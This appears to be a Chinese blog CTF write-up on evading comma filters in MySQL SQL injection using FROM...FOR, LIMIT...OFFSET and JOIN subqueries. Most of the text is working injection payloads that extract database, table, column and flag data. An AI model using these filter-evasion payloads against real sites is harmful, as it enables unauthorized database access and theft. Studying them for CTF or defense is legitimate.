【逗号绕过】

简介

请添加图片描述
所以为了避免逗号被过滤,我们来看看如何绕过叭

一、From for 绕过

请添加图片描述
我们直接看一个题目:

id=1 页面输出hello user
id=1 and 1=1%23  页面返回hello user
id=1' and 1=1%23  页面不返回数据

符合盲注,并且是一个数字型的sql注入,尝试使用盲注

id=1 and ascii(substr((select database()),1,1))=119

提示hacker,很明显被过滤了,尝试使用from for绕过

id=1 and (ascii(substr((select database())from(1)for(1)))=119)%23

页面回显hello,user 说明绕过成功,使用burp的intruder模块进行爆破,下面的这些payload,同样需要使用burp的intruder模块进行爆破

获取表名
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())from(1)for(1)))=102%23

获取列名
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag')from(2)for(1)))=108%23

获取数据
id=1 and ascii(substr((select flag from flag)from(1)for(1)))=102%23

二、Limit offset绕过

请添加图片描述
请添加图片描述

从第1条数据开始,返回两条数据
select * from user limit 2 offset 1;
从第0条数据开始,返回两条数据
select * from user limit 2 offset 0;

请添加图片描述

三、join 绕过

select 子查询

请添加图片描述
请添加图片描述
直接练习:

注入点测试
username=admin&password=admin  没有回显

username=admin' and 1=1%23    改一下username,闭合注入点,页面回显admin 说明存在注入,并且是字符型的sql注入

猜测列数
username=admin' order by 3%23

测回显位时发现被过滤了:

请添加图片描述
测试回显位

username=admin' union select 1,2,3%23 被过滤
username=admin' union%23      没被过滤
username=admin' union select   没被过滤
username=admin' union select 1, 被过滤

说明逗号被过滤

尝试使用join 绕过逗号

逗号绕过
username=admi' union select * from ((select 1)A join (select 2)B join (select 3)C)%23&password=s

页面回显2 说明第二位是回显位,之后的payload如下:

拿数据库名
username=admi' union select * from ((select 1)A join (select database())B join (select 3)C)%23&password=s

拿表名
username=admi' union select * from ((select 1)A join (select group_concat(table_name) from information_schema.tables where table_schema=database())B join (select 3)C)%23&password=s

拿列名
username=admi' union select * from ((select 1)A join (select group_concat(column_name) from information_schema.columns where table_name='flag')B join (select 3)C)%23&password=s

拿数据
username=admi' union select * from ((select 1)A join (select flag from flag)B join (select 3)C)%23&password=s
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值